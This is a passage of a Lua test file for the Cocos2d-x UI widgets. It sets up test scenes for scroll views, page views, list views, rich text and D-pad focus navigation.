button_scale9:setTouchEnabled(true)
button_scale9:setScale9Enabled(true)
button_scale9:loadTextures("cocosui/button.png", "cocosui/buttonHighlighted.png", "")
button_scale9:setContentSize(cc.size(100, button_scale9:getVirtualRendererSize().height))
button_scale9:setPosition(cc.p(innerWidth / 2, textButton:getBottomBoundary() - textButton:getContentSize().height))
scrollView:addChild(button_scale9)
imageView:setPosition(cc.p(innerWidth / 2, imageView:getContentSize().height / 2))
scrollView:addChild(imageView)
end
end)
add_new_testcase(function()
local UIScrollViewHorizontalTest = create("UIScrollViewHorizontalTest",UIScene)
function UIScrollViewHorizontalTest:initExtend()
local widgetSize = self._widget:getContentSize()
self._displayValueLabel:setString("Move by horizontal direction")
local alert = ccui.Text:create()
alert:setString("ScrollView")
alert:setFontName(font_TextName)
alert:setFontSize(30)
alert:setColor(cc.c3b(159, 168, 176))
alert:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 - alert:getContentSize().height * 2.925))
self._uiLayer:addChild(alert)
local root = self._uiLayer:getChildByTag(81)
local background = root:getChildByName("background_Panel")
local scrollView = ccui.ScrollView:create()
scrollView:setBounceEnabled(true)
scrollView:setDirection(ccui.ScrollViewDir.horizontal)
scrollView:setTouchEnabled(true)
scrollView:setContentSize(cc.size(280, 150))
scrollView:setInnerContainerSize(scrollView:getContentSize())
local backgroundSize = background:getContentSize()
scrollView:setPosition(cc.p((widgetSize.width - backgroundSize.width) / 2 +
(backgroundSize.width - scrollView:getContentSize().width) / 2,
(widgetSize.height - backgroundSize.height) / 2 +
(backgroundSize.height - scrollView:getContentSize().height) / 2))
self._uiLayer:addChild(scrollView)
local imageView = ccui.ImageView:create()
imageView:loadTexture("cocosui/ccicon.png")
local innerWidth = scrollView:getContentSize().width + imageView:getContentSize().width
local innerHeight = scrollView:getContentSize().height
scrollView:setInnerContainerSize(cc.size(innerWidth, innerHeight))
local button = ccui.Button:create()
button:setTouchEnabled(true)
button:loadTextures("cocosui/animationbuttonnormal.png", "cocosui/animationbuttonpressed.png", "")
button:setPosition(cc.p(button:getContentSize().width / 2,
scrollView:getInnerContainerSize().height - button:getContentSize().height / 2))
scrollView:addChild(button)
local textButton = ccui.Button:create()
textButton:setTouchEnabled(true)
textButton:loadTextures("cocosui/backtotopnormal.png", "cocosui/backtotoppressed.png", "")
textButton:setTitleText("Text Button")
textButton:setPosition(cc.p(button:getRightBoundary() + button:getContentSize().width / 2,
button:getBottomBoundary() - button:getContentSize().height / 2))
scrollView:addChild(textButton)
local button_scale9 = ccui.Button:create()
button_scale9:setTouchEnabled(true)
button_scale9:setScale9Enabled(true)
button_scale9:loadTextures("cocosui/button.png", "cocosui/buttonHighlighted.png", "")
button_scale9:setContentSize(cc.size(100, button_scale9:getVirtualRendererSize().height))
button_scale9:setPosition(cc.p(textButton:getRightBoundary() + textButton:getContentSize().width / 2,
textButton:getBottomBoundary() - textButton:getContentSize().height / 2))
scrollView:addChild(button_scale9)
imageView:setPosition(cc.p(innerWidth - imageView:getContentSize().width / 2,
button_scale9:getBottomBoundary() - button_scale9:getContentSize().height / 2))
scrollView:addChild(imageView)
end
end)
add_new_testcase(function()
local UIPageViewTest = create("UIPageViewTest",UIScene)
function UIPageViewTest:initExtend()
local widgetSize = self._widget:getContentSize()
self._displayValueLabel:setString("Move by horizontal direction")
local alert = ccui.Text:create()
alert:setString("PageView")
alert:setFontName(font_TextName)
alert:setFontSize(30)
alert:setColor(cc.c3b(159, 168, 176))
alert:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 - alert:getContentSize().height * 2.925))
self._uiLayer:addChild(alert)
local root = self._uiLayer:getChildByTag(81)
local background = root:getChildByName("background_Panel")
local pageView = ccui.PageView:create()
pageView:setTouchEnabled(true)
pageView:setContentSize(cc.size(240, 130))
local backgroundSize = background:getContentSize()
pageView:setPosition(cc.p((widgetSize.width - backgroundSize.width) / 2 +
(backgroundSize.width - pageView:getContentSize().width) / 2,
(widgetSize.height - backgroundSize.height) / 2 +
(backgroundSize.height - pageView:getContentSize().height) / 2))
for i = 1 , 3 do
local layout = ccui.Layout:create()
layout:setContentSize(cc.size(240, 130))
local imageView = ccui.ImageView:create()
imageView:setTouchEnabled(true)
imageView:setScale9Enabled(true)
imageView:loadTexture("cocosui/scrollviewbg.png")
imageView:setContentSize(cc.size(240, 130))
imageView:setPosition(cc.p(layout:getContentSize().width / 2, layout:getContentSize().height / 2))
layout:addChild(imageView)
local label = ccui.Text:create()
local pageInfo = string.format("page %d", i)
label:setString(pageInfo)
label:setFontName(font_TextName)
label:setFontSize(30)
label:setColor(cc.c3b(192, 192, 192))
label:setPosition(cc.p(layout:getContentSize().width / 2, layout:getContentSize().height / 2))
layout:addChild(label)
pageView:addWidgetToPage(layout, i-1)
end
pageView:setCurPageIndex(1)
local function pageViewEvent(sender, eventType)
if eventType == ccui.PageViewEventType.turning then
local pageInfo = string.format("page %d " , pageView:getCurPageIndex() + 1)
local pages = pageView:getPages()
print("total items " .. table.getn(pages))
self._displayValueLabel:setString(pageInfo)
end
end
pageView:addEventListener(pageViewEvent)
self._uiLayer:addChild(pageView)
end
end)
add_new_testcase(function()
local UIPageViewVerticalTest = create("UIPageViewVerticalTest",UIScene)
function UIPageViewVerticalTest:initExtend()
local widgetSize = self._widget:getContentSize()
self._displayValueLabel:setString("Move by vertical direction")
local alert = ccui.Text:create()
alert:setString("PageView")
alert:setFontName(font_TextName)
alert:setFontSize(30)
alert:setColor(cc.c3b(159, 168, 176))
alert:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 - alert:getContentSize().height * 2.925))
self._uiLayer:addChild(alert)
local root = self._uiLayer:getChildByTag(81)
local background = root:getChildByName("background_Panel")
local pageView = ccui.PageView:create()
pageView:setTouchEnabled(true)
pageView:setDirection(ccui.ScrollViewDir.vertical)
pageView:setContentSize(cc.size(240, 130))
local backgroundSize = background:getContentSize()
pageView:setPosition(cc.p((widgetSize.width - backgroundSize.width) / 2 +
(backgroundSize.width - pageView:getContentSize().width) / 2,
(widgetSize.height - backgroundSize.height) / 2 +
(backgroundSize.height - pageView:getContentSize().height) / 2))
for i = 1 , 3 do
local layout = ccui.Layout:create()
layout:setContentSize(cc.size(240, 130))
local imageView = ccui.ImageView:create()
imageView:setTouchEnabled(true)
imageView:setScale9Enabled(true)
imageView:loadTexture("cocosui/scrollviewbg.png")
imageView:setContentSize(cc.size(240, 130))
imageView:setPosition(cc.p(layout:getContentSize().width / 2, layout:getContentSize().height / 2))
layout:addChild(imageView)
local label = ccui.Text:create()
local pageInfo = string.format("page %d", i)
label:setString(pageInfo)
label:setFontName(font_TextName)
label:setFontSize(30)
label:setColor(cc.c3b(192, 192, 192))
label:setPosition(cc.p(layout:getContentSize().width / 2, layout:getContentSize().height / 2))
layout:addChild(label)
pageView:addPage(layout)
end
local function pageViewEvent(sender, eventType)
if eventType == ccui.PageViewEventType.turning then
local pageInfo = string.format("page %d " , pageView:getCurPageIndex() + 1)
self._displayValueLabel:setString(pageInfo)
end
end
pageView:addEventListener(pageViewEvent)
self._uiLayer:addChild(pageView)
end
end)
add_new_testcase(function()
local UIListViewVerticalTest = create("UIListViewVerticalTest",UIScene)
function UIListViewVerticalTest:initExtend()
local widgetSize = self._widget:getContentSize()
self._displayValueLabel:setString("Move by vertical direction")
local alert = ccui.Text:create()
alert:setString("ListView")
alert:setFontName(font_TextName)
alert:setFontSize(30)
alert:setColor(cc.c3b(159, 168, 176))
alert:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 - alert:getContentSize().height * 2.925))
self._uiLayer:addChild(alert)
local root = self._uiLayer:getChildByTag(81)
local background = root:getChildByName("background_Panel")
local backgroundSize = background:getContentSize()
local array = {}
for i = 1,20 do
array[i] = string.format("ListView_item_%d",i - 1)
end
local function listViewEvent(sender, eventType)
if eventType == ccui.ListViewEventType.ONSELECTEDITEM_START then
print("select child index = ",sender:getCurSelectedIndex())
end
end
local function scrollViewEvent(sender, evenType)
if evenType == ccui.ScrollviewEventType.scrollToBottom then
print("SCROLL_TO_BOTTOM")
elseif evenType == ccui.ScrollviewEventType.scrollToTop then
print("SCROLL_TO_TOP")
end
end
local listView = ccui.ListView:create()
-- set list view ex direction
listView:setDirection(ccui.ScrollViewDir.vertical)
listView:setBounceEnabled(true)
listView:setBackGroundImage("cocosui/green_edit.png")
listView:setBackGroundImageScale9Enabled(true)
listView:setContentSize(cc.size(240, 130))
listView:setPosition(cc.p((widgetSize.width - backgroundSize.width) / 2.0 +
(backgroundSize.width - listView:getContentSize().width) / 2.0,
(widgetSize.height - backgroundSize.height) / 2.0 +
(backgroundSize.height - listView:getContentSize().height) / 2.0))
listView:addEventListener(listViewEvent)
listView:addScrollViewEventListener(scrollViewEvent)
self._uiLayer:addChild(listView)
-- create model
local default_button = ccui.Button:create("cocosui/backtotoppressed.png", "cocosui/backtotopnormal.png")
default_button:setName("Title Button")
local default_item = ccui.Layout:create()
default_item:setTouchEnabled(true)
default_item:setContentSize(default_button:getContentSize())
default_button:setPosition(cc.p(default_item:getContentSize().width / 2.0, default_item:getContentSize().height / 2.0))
default_item:addChild(default_button)
--set model
listView:setItemModel(default_item)
--add default item
local count = table.getn(array)
for i = 1,math.floor(count / 4) do
listView:pushBackDefaultItem()
end
--insert default item
for i = 1,math.floor(count / 4) do
listView:insertDefaultItem(0)
end
listView:removeAllChildren()
local testSprite = cc.Sprite:create("cocosui/backtotoppressed.png")
testSprite:setPosition(cc.p(200,200))
listView:addChild(testSprite)
--add custom item
for i = 1,math.floor(count / 4) do
local custom_button = ccui.Button:create("cocosui/button.png", "cocosui/buttonHighlighted.png")
custom_button:setName("Title Button")
custom_button:setScale9Enabled(true)
custom_button:setContentSize(default_button:getContentSize())
local custom_item = ccui.Layout:create()
custom_item:setContentSize(custom_button:getContentSize())
custom_button:setPosition(cc.p(custom_item:getContentSize().width / 2.0, custom_item:getContentSize().height / 2.0))
custom_item:addChild(custom_button)
listView:addChild(custom_item)
end
--insert custom item
local items = listView:getItems()
local items_count = table.getn(items)
for i = 1, math.floor(count / 4) do
local custom_button = ccui.Button:create("cocosui/button.png", "cocosui/buttonHighlighted.png")
custom_button:setName("Title Button")
custom_button:setScale9Enabled(true)
custom_button:setContentSize(default_button:getContentSize())
local custom_item = ccui.Layout:create()
custom_item:setContentSize(custom_button:getContentSize())
custom_button:setPosition(cc.p(custom_item:getContentSize().width / 2.0, custom_item:getContentSize().height / 2.0))
custom_item:addChild(custom_button)
custom_item:setTag(1)
listView:insertCustomItem(custom_item, items_count)
end
-- set item data
items_count = table.getn(listView:getItems())
for i = 1,items_count do
local item = listView:getItem(i - 1)
local button = item:getChildByName("Title Button")
local index = listView:getIndex(item)
button:setTitleText(array[index + 1])
end
-- remove last item
listView:removeChildByTag(1)
-- remove item by index
items_count = table.getn(listView:getItems())
listView:removeItem(items_count - 1)
-- set all items layout gravity
listView:setGravity(ccui.ListViewGravity.centerVertical)
--set items margin
listView:setItemsMargin(2.0)
end
end)
add_new_testcase(function()
local UIListViewHorizontalTest = create("UIListViewHorizontalTest",UIScene)
function UIListViewHorizontalTest:initExtend()
local widgetSize = self._widget:getContentSize()
self._displayValueLabel:setString("Move by vertical direction")
local alert = ccui.Text:create()
alert:setString("ListView")
alert:setFontName(font_TextName)
alert:setFontSize(30)
alert:setColor(cc.c3b(159, 168, 176))
alert:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 - alert:getContentSize().height * 2.925))
self._uiLayer:addChild(alert)
local root = self._uiLayer:getChildByTag(81)
local background = root:getChildByName("background_Panel")
local backgroundSize = background:getContentSize()
local array = {}
for i = 1,20 do
array[i] = string.format("ListView_item_%d",i - 1)
end
local function listViewEvent(sender, eventType)
if eventType == ccui.ListViewEventType.ons_selected_item then
print("select child index = ",sender:getCurSelectedIndex())
end
end
local listView = ccui.ListView:create()
-- set list view ex direction
listView:setDirection(ccui.ScrollViewDir.horizontal)
listView:setTouchEnabled(true)
listView:setBounceEnabled(true)
listView:setBackGroundImage("cocosui/green_edit.png")
listView:setBackGroundImageScale9Enabled(true)
listView:setContentSize(cc.size(240, 130))
listView:setPosition(cc.p((widgetSize.width - backgroundSize.width) / 2.0 +
(backgroundSize.width - listView:getContentSize().width) / 2.0,
(widgetSize.height - backgroundSize.height) / 2.0 +
(backgroundSize.height - listView:getContentSize().height) / 2.0))
listView:addEventListener(listViewEvent)
self._uiLayer:addChild(listView)
-- create model
local default_button = ccui.Button:create("cocosui/backtotoppressed.png", "cocosui/backtotopnormal.png")
default_button:setName("Title Button")
local default_item = ccui.Layout:create()
default_item:setTouchEnabled(true)
default_item:setContentSize(default_button:getContentSize())
default_button:setPosition(cc.p(default_item:getContentSize().width / 2.0, default_item:getContentSize().height / 2.0))
default_item:addChild(default_button)
--set model
listView:setItemModel(default_item)
--add default item
local count = table.getn(array)
for i = 1,math.floor(count / 4) do
listView:pushBackDefaultItem()
end
--insert default item
for i = 1,math.floor(count / 4) do
listView:insertDefaultItem(0)
end
--add custom item
for i = 1,math.floor(count / 4) do
local custom_button = ccui.Button:create("cocosui/button.png", "cocosui/buttonHighlighted.png")
custom_button:setName("Title Button")
custom_button:setScale9Enabled(true)
custom_button:setContentSize(default_button:getContentSize())
local custom_item = ccui.Layout:create()
custom_item:setContentSize(custom_button:getContentSize())
custom_button:setPosition(cc.p(custom_item:getContentSize().width / 2.0, custom_item:getContentSize().height / 2.0))
custom_item:addChild(custom_button)
listView:pushBackCustomItem(custom_item)
end
--insert custom item
local items = listView:getItems()
local items_count = table.getn(items)
for i = 1, math.floor(count / 4) do
local custom_button = ccui.Button:create("cocosui/button.png", "cocosui/buttonHighlighted.png")
custom_button:setName("Title Button")
custom_button:setScale9Enabled(true)
custom_button:setContentSize(default_button:getContentSize())
local custom_item = ccui.Layout:create()
custom_item:setContentSize(custom_button:getContentSize())
custom_button:setPosition(cc.p(custom_item:getContentSize().width / 2.0, custom_item:getContentSize().height / 2.0))
custom_item:addChild(custom_button)
listView:insertCustomItem(custom_item, items_count)
end
-- set item data
items_count = table.getn(listView:getItems())
print("items_count", items_count)
for i = 1,items_count do
local item = listView:getItem(i - 1)
local button = item:getChildByName("Title Button")
local index = listView:getIndex(item)
print("index is ", index)
button:setTitleText(array[index + 1])
end
-- remove last item
listView:removeLastItem()
-- remove item by index
items_count = table.getn(listView:getItems())
listView:removeItem(items_count - 1)
-- set all items layout gravity
listView:setGravity(ccui.ListViewGravity.centerVertical)
--set items margin
listView:setItemsMargin(2.0)
end
end)
add_new_testcase(function()
local UIDragPanelTest = create("UIDragPanelTest",UIScene)
function UIDragPanelTest:initExtend()
local widgetSize = self._widget:getContentSize()
self._displayValueLabel:setString("No Event")
local alert = ccui.Text:create()
alert:setString("DragPanel")
alert:setFontName(font_TextName)
alert:setFontSize(30)
alert:setColor(cc.c3b(159, 168, 176))
alert:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 - alert:getContentSize().height * 2.925))
self._uiLayer:addChild(alert)
local sc = ccui.ScrollView:create()
sc:setBackGroundColor(cc.c3b(0,255,0))
sc:setBackGroundColorType(ccui.LayoutBackGroundColorType.solid)
sc:setDirection(ccui.ScrollViewDir.both)
sc:setInnerContainerSize(cc.size(480, 320))
sc:setContentSize(cc.size(100,100))
sc:setPosition(cc.p(100,100))
sc:scrollToPercentBothDirection(cc.p(50, 50), 1, true)
local iv = ccui.ImageView:create()
iv:loadTexture("cocosui/Hello.png")
iv:setPosition(cc.p(240, 160))
sc:addChild(iv)
self._uiLayer:addChild(sc)
end
end)
add_new_testcase(function()
local UIDragPanelBounceTest = create("UIDragPanelBounceTest",UIScene)
function UIDragPanelBounceTest:initExtend()
local widgetSize = self._widget:getContentSize()
self._displayValueLabel:setString("No Event")
local alert = ccui.Text:create()
alert:setString("DragPanel Bounce")
alert:setFontName(font_TextName)
alert:setFontSize(30)
alert:setColor(cc.c3b(159, 168, 176))
alert:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 - alert:getContentSize().height * 2.925))
self._uiLayer:addChild(alert)
local sc = ccui.ScrollView:create()
sc:setBackGroundColor(cc.c3b(0, 255 , 0))
sc:setBackGroundColorType(ccui.LayoutBackGroundColorType.solid)
sc:setBounceEnabled(true)
sc:setDirection(ccui.ScrollViewDir.both)
sc:setInnerContainerSize(cc.size(480, 320))
sc:setContentSize(cc.size(100,100))
sc:setPosition(cc.p(100,100))
sc:scrollToPercentBothDirection(cc.p(50, 50), 1, true)
local iv = ccui.ImageView:create()
iv:loadTexture("cocosui/Hello.png")
iv:setPosition(cc.p(240, 160))
sc:addChild(iv)
self._uiLayer:addChild(sc)
end
end)
add_new_testcase(function()
local UINodeContainerTest = create("UINodeContainerTest",UIScene)
function UINodeContainerTest:initExtend()
local widgetSize = self._widget:getContentSize()
self._displayValueLabel:setString("NodeContainer Add CCNode")
local alert = ccui.Text:create()
alert:setString("NodeContainer")
alert:setFontName(font_TextName)
alert:setFontSize(30)
alert:setColor(cc.c3b(159, 168, 176))
alert:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 - alert:getContentSize().height * 1.75))
self._uiLayer:addChild(alert)
local nodeContainer = ccui.Widget:create()
nodeContainer:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0))
self._uiLayer:addChild(nodeContainer)
local sprite = cc.Sprite:create("cocosui/ccicon.png")
sprite:setPosition(cc.p(0, sprite:getBoundingBox().height / 4))
nodeContainer:addChild(sprite)
end
end)
add_new_testcase(function()
local UIRichTextTest = create("UIRichTextTest",UIScene)
function UIRichTextTest:initExtend()
local widgetSize = self._widget:getContentSize()
self._displayValueLabel:setString("")
local alert = ccui.Text:create("RichText", "fonts/Marker Felt.ttf", 30)
alert:setFontName(font_TextName)
alert:setColor(cc.c3b(159, 168, 176))
alert:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 - alert:getContentSize().height * 3.125))
self._widget:addChild(alert)
local function touchEvent(sender, eventType)
if eventType == ccui.TouchEventType.ended then
if self._richText:isIgnoreContentAdaptWithSize() then
self._richText:ignoreContentAdaptWithSize(false)
self._richText:setContentSize(cc.size(100, 100))
else
self._richText:ignoreContentAdaptWithSize(true)
end
end
end
local button = ccui.Button:create("cocosui/animationbuttonnormal.png", "cocosui/animationbuttonpressed.png")
button:setTouchEnabled(true)
button:setTitleText("switch")
button:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 + button:getContentSize().height * 2.5))
button:addTouchEventListener(touchEvent)
button:setLocalZOrder(10)
self._widget:addChild(button)
self._richText = ccui.RichText:create()
self._richText:ignoreContentAdaptWithSize(false)
self._richText:setContentSize(cc.size(100, 100))
local re1 = ccui.RichElementText:create(1, cc.c3b(255, 255, 255), 255, "This color is white. ", "Helvetica", 10)
local re2 = ccui.RichElementText:create(2, cc.c3b(255, 255, 0), 255, "And this is yellow. ", "Helvetica", 10)
local re3 = ccui.RichElementText:create(3, cc.c3b(0, 0, 255), 255, "This one is blue. ", "Helvetica", 10)
local re4 = ccui.RichElementText:create(4, cc.c3b(0, 255, 0), 255, "And green. ", "Helvetica", 10)
local re5 = ccui.RichElementText:create(5, cc.c3b(255, 0, 0), 255, "Last one is red ", "Helvetica", 10)
local reimg = ccui.RichElementImage:create(6, cc.c3b(255, 255, 255), 255, "cocosui/sliderballnormal.png")
ccs.ArmatureDataManager:getInstance():addArmatureFileInfo("cocosui/100/100.ExportJson")
local arr = ccs.Armature:create("100")
arr:getAnimation():play("Animation1")
local recustom = ccui.RichElementCustomNode:create(1, cc.c3b(255, 255, 255), 255, arr)
local re6 = ccui.RichElementText:create(7, cc.c3b(255, 127, 0), 255, "Have fun!! ", "Helvetica", 10)
self._richText:pushBackElement(re1)
self._richText:insertElement(re2, 1)
self._richText:pushBackElement(re3)
self._richText:pushBackElement(re4)
self._richText:pushBackElement(re5)
self._richText:insertElement(reimg, 2)
self._richText:pushBackElement(recustom)
self._richText:pushBackElement(re6)
self._richText:setPosition(cc.p(widgetSize.width / 2, widgetSize.height / 2))
self._richText:setLocalZOrder(10)
self._widget:addChild(self._richText)
end
end)
add_new_testcase(function()
local UIFocusTestHorizontal = create("UIFocusTestHorizontal",UIScene)
function UIFocusTestHorizontal:initExtend()
self._displayValueLabel:setString("")
local root = self._uiLayer:getChildByTag(81)
local background = root:getChildByName("background_Panel")
background:removeFromParent(true)
local function onLeftKeyPressed()
local event = cc.EventKeyboard:new(cc.KeyCode.KEY_DPAD_LEFT, false)
cc.Director:getInstance():getEventDispatcher():dispatchEvent(event)
end
local function onRightKeyPressed()
local event = cc.EventKeyboard:new(cc.KeyCode.KEY_DPAD_RIGHT, false)
cc.Director:getInstance():getEventDispatcher():dispatchEvent(event)
end
local function onUpKeyPressed()
local event = cc.EventKeyboard:new(cc.KeyCode.KEY_DPAD_UP, false)
cc.Director:getInstance():getEventDispatcher():dispatchEvent(event)
end
local function onDownKeyPressed()
local event = cc.EventKeyboard:new(cc.KeyCode.KEY_DPAD_DOWN, false)
cc.Director:getInstance():getEventDispatcher():dispatchEvent(event)
end
self._dpadMenu = cc.Menu:create()
local winSize = cc.Director:getInstance():getVisibleSize()
local leftItem = cc.MenuItemFont:create("Left")
leftItem:setPosition(cc.p(winSize.width - 100, winSize.height/2))
leftItem:registerScriptTapHandler(onLeftKeyPressed)
self._dpadMenu:addChild(leftItem)
local rightItem = cc.MenuItemFont:create("Right")
rightItem:setPosition(cc.p(winSize.width - 30, winSize.height/2))
rightItem:registerScriptTapHandler(onRightKeyPressed)
self._dpadMenu:addChild(rightItem)
local upItem = cc.MenuItemFont:create("Up")
upItem:setPosition(cc.p(winSize.width - 60, winSize.height/2 + 50))
upItem:registerScriptTapHandler(onUpKeyPressed)
self._dpadMenu:addChild(upItem)
local downItem = cc.MenuItemFont:create("Down")
downItem:setPosition(cc.p(winSize.width - 60, winSize.height/2 - 50))
downItem:registerScriptTapHandler(onDownKeyPressed)
self._dpadMenu:addChild(downItem)
self._dpadMenu:setPosition(cc.p(0, 0))
self._uiLayer:addChild(self._dpadMenu)
ccui.Widget:enableDpadNavigation(true)
local function onFocusChanged(widgetLostFocus,widgetGetFocus)
if nil ~= widgetGetFocus and widgetGetFocus:isFocusEnabled() then
widgetGetFocus:setColor(cc.c3b(255, 0, 0))
end
if nil ~= widgetLostFocus and widgetLostFocus:isFocusEnabled() then
widgetLostFocus:setColor(cc.c3b(255, 255, 255))
end
if nil ~= widgetLostFocus and nil ~= widgetGetFocus then
print(string.format("on focus change, %d widget get focus, %d widget lose focus", widgetGetFocus:getTag(), widgetLostFocus:getTag()))
end
end
local eventListener = cc.EventListenerFocus:create()
eventListener:registerScriptHandler(onFocusChanged)
local eventDispatcher = self:getEventDispatcher()
eventDispatcher:addEventListenerWithFixedPriority(eventListener, 1)
local function onExit(tag)
if tag == "exit" then
if eventListener ~= nil then
eventDispatcher:removeEventListener(eventListener)
end
end
end
self:registerScriptHandler(onExit)
local winSize = cc.Director:getInstance():getVisibleSize()
self._horizontalLayout = ccui.HBox:create()
self._horizontalLayout:setPosition(cc.p(20, winSize.height / 2 + 40))
self._uiLayer:addChild(self._horizontalLayout)
self._horizontalLayout:setFocused(true)
self._horizontalLayout:setLoopFocus(true)
self._horizontalLayout:setTag(100)
self._firstFocusedWidget = self._horizontalLayout
local function onImageViewClicked(sender, eventType)
if eventType == ccui.TouchEventType.ended then
local w = sender
if w:isFocusEnabled() then
w:setFocusEnabled(false)
w:setColor(cc.c3b(255, 255, 0))
else
w:setFocusEnabled(true)
w:setColor(cc.c3b(255, 255, 255))
end
end
end
local count = 3
for i = 1, count do
local imageView = ccui.ImageView:create("cocosui/scrollviewbg.png")
imageView:setTouchEnabled(true)
imageView:setTag(i)
imageView:addTouchEventListener(onImageViewClicked)
self._horizontalLayout:addChild(imageView)
end
self._loopText = ccui.Text:create("loop enabled", "Arial", 20)
self._loopText:setPosition(cc.p(winSize.width/2, winSize.height - 50))
self._loopText:setColor(cc.c3b(255, 0 ,0))
self:addChild(self._loopText)
local function toggleFocusLoop(sender, eventType)
if eventType == ccui.TouchEventType.ended then
self._horizontalLayout:setLoopFocus(not self._horizontalLayout:isLoopFocus())
if self._horizontalLayout:isLoopFocus() then
self._loopText:setString("loop enabled")
else
self._loopText:setString("loop disabled")
end
end
end
local btn = ccui.Button:create("cocosui/switch-mask.png")
btn:setTitleText("Toggle Loop")
btn:setPosition(cc.p(60, winSize.height - 50))
btn:setTitleColor(cc.c3b(0, 255, 0))
btn:addTouchEventListener(toggleFocusLoop)
self:addChild(btn)
end
end)
add_new_testcase(function()
local UIFocusTestVertical = create("UIFocusTestVertical",UIScene)
function UIFocusTestVertical:initExtend()
self._displayValueLabel:setString("")
local root = self._uiLayer:getChildByTag(81)
local background = root:getChildByName("background_Panel")
background:removeFromParent(true)
local function onLeftKeyPressed()
local event = cc.EventKeyboard:new(cc.KeyCode.KEY_DPAD_LEFT, false)
cc.Director:getInstance():getEventDispatcher():dispatchEvent(event)
end
local function onRightKeyPressed()
local event = cc.EventKeyboard:new(cc.KeyCode.KEY_DPAD_RIGHT, false)
cc.Director:getInstance():getEventDispatcher():dispatchEvent(event)
end
local function onUpKeyPressed()
local event = cc.EventKeyboard:new(cc.KeyCode.KEY_DPAD_UP, false)
cc.Director:getInstance():getEventDispatcher():dispatchEvent(event)
end
local function onDownKeyPressed()
local event = cc.EventKeyboard:new(cc.KeyCode.KEY_DPAD_DOWN, false)
cc.Director:getInstance():getEventDispatcher():dispatchEvent(event)
end
self._dpadMenu = cc.Menu:create()
local winSize = cc.Director:getInstance():getVisibleSize()
local leftItem = cc.MenuItemFont:create("Left")
leftItem:setPosition(cc.p(winSize.width - 100, winSize.height/2))
leftItem:registerScriptTapHandler(onLeftKeyPressed)
self._dpadMenu:addChild(leftItem)
local rightItem = cc.MenuItemFont:create("Right")
rightItem:setPosition(cc.p(winSize.width - 30, winSize.height/2))
rightItem:registerScriptTapHandler(onRightKeyPressed)
self._dpadMenu:addChild(rightItem)
local upItem = cc.MenuItemFont:create("Up")
upItem:setPosition(cc.p(winSize.width - 60, winSize.height/2 + 50))
upItem:registerScriptTapHandler(onUpKeyPressed)
self._dpadMenu:addChild(upItem)
local downItem = cc.MenuItemFont:create("Down")
downItem:setPosition(cc.p(winSize.width - 60, winSize.height/2 - 50))
downItem:registerScriptTapHandler(onDownKeyPressed)
self._dpadMenu:addChild(downItem)
self._dpadMenu:setPosition(cc.p(0, 0))
self._uiLayer:addChild(self._dpadMenu)
ccui.Widget:enableDpadNavigation(true)
local function onFocusChanged(widgetLostFocus,widgetGetFocus)
if nil ~= widgetGetFocus and widgetGetFocus:isFocusEnabled() then
widgetGetFocus:setColor(cc.c3b(255, 0, 0))
end
if nil ~= widgetLostFocus and widgetLostFocus:isFocusEnabled() then
widgetLostFocus:setColor(cc.c3b(255, 255, 255))
end
if nil ~= widgetLostFocus and nil ~= widgetGetFocus then
print(string.format("on focus change, %d widget get focus, %d widget lose focus", widgetGetFocus:getTag(), widgetLostFocus:getTag()))
end
end
local eventListener = cc.EventListenerFocus:create()
eventListener:registerScriptHandler(onFocusChanged)
local eventDispatcher = self:getEventDispatcher()
eventDispatcher:addEventListenerWithFixedPriority(eventListener, 1)
local function onExit(tag)
if tag == "exit" then
if eventListener ~= nil then
eventDispatcher:removeEventListener(eventListener)
end
end
end
self:registerScriptHandler(onExit)
local winSize = cc.Director:getInstance():getVisibleSize()
self._verticalLayout = ccui.VBox:create()
self._verticalLayout:setPosition(cc.p(winSize.width/2 - 100, winSize.height - 70))
self._uiLayer:addChild(self._verticalLayout)
self._verticalLayout:setFocused(true)
self._verticalLayout:setLoopFocus(true)
self._verticalLayout:setTag(100)
self._verticalLayout:setScale(0.5)
self._firstFocusedWidget = self._verticalLayout
local function onImageViewClicked(sender, eventType)
if eventType == ccui.TouchEventType.ended then
local w = sender
if w:isFocusEnabled() then
w:setFocusEnabled(false)
w:setColor(cc.c3b(255, 255, 0))
else
w:setFocusEnabled(true)
w:setColor(cc.c3b(255, 255, 255))
end
end
end
local count = 3
for i = 1, count do
local imageView = ccui.ImageView:create("cocosui/scrollviewbg.png")
imageView:setTouchEnabled(true)
imageView:setTag(i)
imageView:addTouchEventListener(onImageViewClicked)
self._verticalLayout:addChild(imageView)
end
self._loopText = ccui.Text:create("loop enabled", "Arial", 20)
self._loopText:setPosition(cc.p(winSize.width/2, winSize.height - 50))
self._loopText:setColor(cc.c3b(255, 0 ,0))
self:addChild(self._loopText)
local function toggleFocusLoop(sender, eventType)
if eventType == ccui.TouchEventType.ended then
self._verticalLayout:setLoopFocus(not self._verticalLayout:isLoopFocus())
if self._verticalLayout:isLoopFocus() then
self._loopText:setString("loop enabled")
else
self._loopText:setString("loop disabled")
end
end
end
local btn = ccui.Button:create("cocosui/switch-mask.png")
btn:setTitleText("Toggle Loop")
btn:setPosition(cc.p(60, winSize.height - 50))
btn:setTitleColor(cc.c3b(0, 255, 0))
btn:addTouchEventListener(toggleFocusLoop)
self:addChild(btn)
end
end)
add_new_testcase(function()
local UIFocusTestNestedLayout1 = create("UIFocusTestNestedLayout1",UIScene)
function UIFocusTestNestedLayout1:initExtend()
self._displayValueLabel:setString("")
local root = self._uiLayer:getChildByTag(81)
local background = root:getChildByName("background_Panel")
background:removeFromParent(true)
local function onLeftKeyPressed()
local event = cc.EventKeyboard:new(cc.KeyCode.KEY_DPAD_LEFT, false)
cc.Director:getInstance():getEventDispatcher():dispatchEvent(event)
end
local function onRightKeyPressed()
local event = cc.EventKeyboard:new(cc.KeyCode.KEY_DPAD_RIGHT, false)
cc.Director:getInstance():getEventDispatcher():dispatchEvent(event)
end
